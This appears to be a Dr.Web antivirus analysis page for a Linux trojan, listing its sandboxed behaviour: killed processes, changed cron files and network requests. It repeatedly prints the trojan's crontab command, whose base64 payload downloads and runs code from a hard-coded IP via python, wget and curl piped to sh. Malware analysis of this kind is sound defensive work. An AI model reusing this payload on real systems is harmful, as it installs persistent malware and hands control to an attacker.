uc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x43e] [crontab][PID:0x47d] do_filp_open. Filename: \"/etc/ld.so.cache\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x412] [crontab][PID:0x454] vfs_read. File: \"/lib/x86_64-linux-gnu/libc-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x41c] [crontab][PID:0x465] vfs_getattr. path: \"/lib/x86_64-linux-gnu/libc-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x49a] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x410] [crontab][PID:0x45f] do_filp_open. Filename: \"/lib/x86_64-linux-gnu/libpcre.so.3\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x43e] [crontab][PID:0x47d] filp_close. File: \"/lib/x86_64-linux-gnu/libpam.so.0.83.1\
Kills system processes:
  • sshd
Kills the following processes:
  • cron
  • atd
  • bash
Performs operations with the file system:
Modifies file access rights:
  • /var/tmp/cia
  • /var/spool/cron/crontabs
  • /var/spool/cron/atjobs/.SEQ
  • /var/spool/cron/atjobs
  • /var/spool/cron/atspool
  • /etc/cron.hourly/.placeholder
  • /etc/cron.daily/passwd
  • /etc/cron.daily/aptitude
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/logrotate
  • /etc/cron.daily/apt
  • /etc/cron.daily/bsdmainutils
  • /etc/cron.daily/.placeholder
  • /etc/cron.daily/dpkg
  • /etc/cron.daily/man-db
  • /etc/cron.daily/exim4-base
  • /etc/cron.weekly/.placeholder
  • /etc/cron.weekly/man-db
  • /etc/cron.monthly/.placeholder
  • /etc/cron.d/.placeholder
  • /tmp/cia
  • /var/spool/cron/crontabs/tmp.6yJyM2
  • /var/spool/cron/crontabs/root
  • /var/spool/cron/crontabs/tmp.FT5uJ2
  • /var/tmp/hdd
  • /var/spool/cron/crontabs/tmp.wl6BZ5
  • /var/spool/cron/crontabs/tmp.6GGxom
  • /var/spool/cron/crontabs/tmp.w6Lq3o
  • /tmp/hdd
  • /var/spool/cron/crontabs/tmp.jneZ7a
  • /var/spool/cron/crontabs/tmp.3Al5Yb
  • /var/spool/cron/crontabs/tmp.jneZ7a (deleted)
  • /var/spool/cron/crontabs/tmp.3Al5Yb (deleted)
  • /var/spool/cron/crontabs/tmp.CyJK1F
  • /var/spool/cron/crontabs/tmp.aIle25
  • /var/spool/cron/crontabs/tmp.EvFSwi
  • /var/spool/cron/crontabs/tmp.iGt8Vk
  • /var/spool/cron/crontabs/tmp.npRzuH
  • /var/spool/cron/crontabs/tmp.kKT5eb
  • /var/spool/cron/crontabs/tmp.ASBOWh
  • /var/spool/cron/crontabs/tmp.l0RBVj
  • /root/hophvu
  • /var/spool/cron/crontabs/tmp.VbtJv0
  • /root/fyok
  • /var/spool/cron/crontabs/tmp.vYxJ4H
  • /var/spool/cron/crontabs/tmp.XNTiBN
  • /var/spool/cron/crontabs/tmp.LPuzbE
  • /var/spool/cron/crontabs/tmp.MCGNiz
  • /var/spool/cron/crontabs/tmp.QmkRAG
  • /var/spool/cron/crontabs/tmp.MnzODO
  • /var/spool/cron/crontabs/tmp.mRapVp
  • /root/ksno
  • /var/spool/cron/crontabs/tmp.hq4UlJ
  • /var/spool/cron/crontabs/tmp.iSRLsa
  • /var/spool/cron/crontabs/tmp.FazcZb
  • /root/wfxt
  • /var/spool/cron/crontabs/tmp.6mxVqr
  • /var/spool/cron/crontabs/tmp.rnzgN1
  • /var/spool/cron/crontabs/tmp.CjQZHA
  • /var/spool/cron/crontabs/tmp.eqhCD8
  • /var/spool/cron/crontabs/tmp.zQ4mXa
  • /var/spool/cron/crontabs/tmp.rPJlki
  • /var/spool/cron/crontabs/tmp.3Yoa4d
  • /var/spool/cron/crontabs/tmp.SRLFWh
  • /var/spool/cron/crontabs/tmp.KmAGln
  • /var/spool/cron/crontabs/tmp.JhyceN
  • /var/spool/cron/crontabs/tmp.qwt14d
  • /var/spool/cron/crontabs/tmp.FhwvUW
  • /var/spool/cron/crontabs/tmp.yAcBRk
  • /var/spool/cron/crontabs/tmp.opHzzv
  • /var/spool/cron/crontabs/tmp.jH7LBJ
  • /var/spool/cron/crontabs/tmp.Qea9yU
  • /var/spool/cron/crontabs/tmp.uiqamI
  • /var/spool/cron/crontabs/tmp.zqiw7B
  • /var/spool/cron/crontabs/tmp.kRlu3D
  • /var/spool/cron/crontabs/tmp.FYzRfp
  • /var/spool/cron/crontabs/tmp.AdFKYA
  • /var/spool/cron/crontabs/tmp.8L3oKE
  • /var/spool/cron/crontabs/tmp.t5kLYh
  • /var/spool/cron/crontabs/tmp.zHAsOR
  • /var/spool/cron/crontabs/tmp.WicogN
  • /var/spool/cron/crontabs/tmp.jyU6VZ
  • /var/spool/cron/crontabs/tmp.2TJD3r
Creates folders:
  • /var/spool/cron/crontabs
Deletes folders:
  • /var/spool/cron/atjobs
  • /var/spool/cron/atspool
  • /var/spool/cron/crontabs
Creates or modifies files:
  • /var/tmp/cia
  • /tmp/cia
  • /tmp/crontabs/tmp.6yJyM2
  • /var/spool/cron/crontabs/tmp.6yJyM2
  • /var/spool/cron/crontabs/tmp.FT5uJ2
  • /var/tmp/hdd
  • /var/spool/cron/crontabs/tmp.wl6BZ5
  • /var/spool/cron/crontabs/tmp.6GGxom
  • /var/spool/cron/crontabs/tmp.w6Lq3o
  • /tmp/hdd
  • /tmp/crontabs/tmp.jneZ7a
  • /var/spool/cron/crontabs/tmp.3Al5Yb
  • /var/spool/cron/crontabs/tmp.jneZ7a (deleted)
  • /var/spool/cron/crontabs/tmp.3Al5Yb (deleted)
  • /var/spool/cron/crontabs/tmp.CyJK1F
  • /var/spool/cron/crontabs/tmp.aIle25
  • /var/spool/cron/crontabs/tmp.EvFSwi
  • /var/spool/cron/crontabs/tmp.iGt8Vk
  • /var/spool/cron/crontabs/tmp.npRzuH
  • /root/hophvu
  • /var/spool/cron/crontabs/tmp.kKT5eb
  • /var/spool/cron/crontabs/tmp.l0RBVj
  • /var/spool/cron/crontabs/tmp.ASBOWh
  • /var/spool/cron/crontabs/tmp.VbtJv0
  • /root/fyok
  • /var/spool/cron/crontabs/tmp.LPuzbE
  • /var/spool/cron/crontabs/tmp.vYxJ4H
  • /var/spool/cron/crontabs/tmp.XNTiBN
  • /var/spool/cron/crontabs/tmp.MCGNiz
  • /root/p
  • /var/spool/cron/crontabs/tmp.QmkRAG
  • /var/spool/cron/crontabs/tmp.MnzODO
  • /var/spool/cron/crontabs/tmp.HSdZjU
  • /root/ksno
  • /var/spool/cron/crontabs/tmp.hq4UlJ
  • /var/spool/cron/crontabs/tmp.mRapVp
  • /var/spool/cron/crontabs/tmp.iSRLsa
  • /var/spool/cron/crontabs/tmp.FazcZb
  • /root/wfxt
  • /var/spool/cron/crontabs/tmp.6mxVqr
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/tmp.qJrqbC
  • /var/spool/cron/crontabs/tmp.CjQZHA
  • /var/spool/cron/crontabs/tmp.rnzgN1
  • /var/spool/cron/crontabs/tmp.eqhCD8
  • /var/spool/cron/crontabs/tmp.zQ4mXa
  • /var/spool/cron/crontabs/tmp.yAcBRk
  • /var/spool/cron/crontabs/tmp.JhyceN
  • /var/spool/cron/crontabs/tmp.FhwvUW
  • /var/spool/cron/crontabs/tmp.3Yoa4d
  • /var/spool/cron/crontabs/tmp.rPJlki
  • /var/spool/cron/crontabs/tmp.SRLFWh
  • /var/spool/cron/crontabs/tmp.KmAGln
  • /var/spool/cron/crontabs/tmp.qwt14d
  • /var/spool/cron/crontabs/tmp.opHzzv
  • /var/spool/cron/crontabs/tmp.kRlu3D
  • /var/spool/cron/crontabs/tmp.jH7LBJ
  • /var/spool/cron/crontabs/tmp.2TJD3r
  • /var/spool/cron/crontabs/tmp.FYzRfp
  • /var/spool/cron/crontabs/tmp.Qea9yU
  • /var/spool/cron/crontabs/tmp.uiqamI
  • /var/spool/cron/crontabs/tmp.t5kLYh
  • /var/spool/cron/crontabs/tmp.zqiw7B
  • /var/spool/cron/crontabs/tmp.WicogN
  • /var/spool/cron/crontabs/tmp.z4Nek2
  • /var/spool/cron/crontabs/tmp.8L3oKE
  • /var/spool/cron/crontabs/tmp.zHAsOR
  • /var/spool/cron/crontabs/tmp.jyU6VZ
  • /var/spool/cron/crontabs/tmp.15yD2L
  • /var/spool/cron/crontabs/tmp.iIAZ5l
  • /var/spool/cron/crontabs/tmp.MMHWDL
  • /var/spool/cron/crontabs/tmp.K2j11I
  • /var/spool/cron/crontabs/tmp.S6TkbI
  • /var/spool/cron/crontabs/tmp.VAsQfC
  • /var/spool/cron/crontabs/tmp.AdFKYA
  • /var/spool/cron/crontabs/tmp.MSS9dW
  • /var/spool/cron/crontabs/tmp.fCeg40
  • /var/spool/cron/crontabs/tmp.QxeSfp
  • /var/spool/cron/crontabs/tmp.YPv67H
  • /var/spool/cron/crontabs/tmp.UeqzBA
  • /var/spool/cron/crontabs/tmp.Jto57i
  • /var/spool/cron/crontabs/tmp.j2h3Tp
  • /var/spool/cron/crontabs/tmp.b35GQl
Deletes files:
  • /var/spool/cron/atjobs/.SEQ
  • /etc/cron.hourly/.placeholder
  • /etc/cron.daily/passwd
  • /etc/cron.daily/aptitude
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/logrotate
  • /etc/cron.daily/apt
  • /etc/cron.daily/bsdmainutils
  • /etc/cron.daily/.placeholder
  • /etc/cron.daily/dpkg
  • /etc/cron.daily/man-db
  • /etc/cron.daily/exim4-base
  • /etc/cron.weekly/.placeholder
  • /etc/cron.weekly/man-db
  • /etc/cron.monthly/.placeholder
  • /etc/cron.d/.placeholder
  • /var/spool/cron/crontabs/root
  • /var/spool/cron/crontabs/tmp.jneZ7a
  • /var/spool/cron/crontabs/tmp.3Al5Yb
  • /root/p
  • /var/spool/cron/crontabs/tmp.rnzgN1
  • /var/spool/cron/crontabs/tmp.CjQZHA
  • /var/spool/cron/crontabs/tmp.zQ4mXa
  • /var/spool/cron/crontabs/tmp.rPJlki
  • /var/spool/cron/crontabs/tmp.FhwvUW
  • /var/spool/cron/crontabs/tmp.JhyceN
  • /var/spool/cron/crontabs/tmp.yAcBRk
  • /var/spool/cron/crontabs/tmp.FYzRfp
  • /var/spool/cron/crontabs/tmp.zqiw7B
  • /var/spool/cron/crontabs/tmp.kRlu3D
  • /var/spool/cron/crontabs/tmp.uiqamI
  • /var/spool/cron/crontabs/tmp.8L3oKE
  • /var/spool/cron/crontabs/tmp.zHAsOR
Network activity:
Establishes connection:
  • 45.##.186.153:80
HTTP GET requests:
  • 18#.##.68.100/jp/ldl
  • 18#.##.68.100/jp/dld
  • 18#.###.169.6/jp/lmmml
  • 18#.###.169.6/jp/jrd
  • 18#.###.169.6/jp/jpp
  • 18#.###.169.6/jp/nvn
Sends data to the following servers:
  • 45.##.186.153:80
Receives data from the following servers:
  • 45.##.186.153:80

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number